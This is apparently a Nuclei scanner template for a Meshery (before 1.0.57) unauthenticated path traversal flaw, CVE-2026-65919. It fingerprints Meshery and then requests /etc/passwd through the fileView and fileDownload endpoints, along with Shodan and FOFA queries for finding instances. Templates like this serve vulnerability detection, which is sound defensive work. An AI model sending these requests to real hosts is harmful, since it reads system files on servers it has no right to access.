Meshery <1.0.57 - Arbitrary File Read

id: CVE-2026-65919

info:
  name: Meshery <1.0.57 - Arbitrary File Read
  author: str4k3r
  severity: high
  description: |
    Meshery before 1.0.57 contains an unauthenticated arbitrary file read vulnerability in the /api/system/fileView and /api/system/fileDownload endpoints that pass user-supplied file parameters directly to os.Open without path validation. Attackers can supply absolute paths or traversal sequences in the file parameter to read arbitrary files from the host filesystem without authentication.
  impact: |
    Unauthenticated attackers can read arbitrary files on the host, potentially exposing sensitive information.
  remediation: |
    Upgrade to version 1.0.57 or later.
  reference:
    - https://github.com/meshery/meshery/issues/20076
    - https://github.com/meshery/meshery/pull/20133
    - https://github.com/meshery/meshery/commit/ea83a26cb090b13be36c07cf24a99f8c637cc765
    - https://www.vulncheck.com/advisories/meshery-unauthenticated-arbitrary-file-read-via-fileview-and-filedownload
    - https://nvd.nist.gov/vuln/detail/CVE-2026-65919
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-65919
    epss-score: 0.02087
    epss-percentile: 0.80827
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 3
    product: meshery
    vendor: meshery
    fofa-query: title="Meshery"
    shodan-query: http.title:"Meshery"
  tags: cve,cve2026,meshery,lfi,traversal,oss

flow: http("detect") && http("exploit")

http:
  - id: detect
    method: GET
    path:
      - "{{BaseURL}}"

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: word
        part: body
        words:
          - "Meshery"
          - "assetPrefix"
        condition: and
        internal: true
        case-insensitive: true

  - id: exploit
    method: GET
    path:
      - "{{BaseURL}}/api/system/fileView?file=/etc/passwd"
      - "{{BaseURL}}/api/system/fileDownload?file=/etc/passwd"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100dff6c61a3294efe8ebe95361f24958046d4f0feae2469289e8fabf0d6256168902207cb187b7d9923e2925fdc95d4317eb08f9b195c5f3acf7e2843060d973dc3d0c:922c64590222798bb761d5b6d8e72950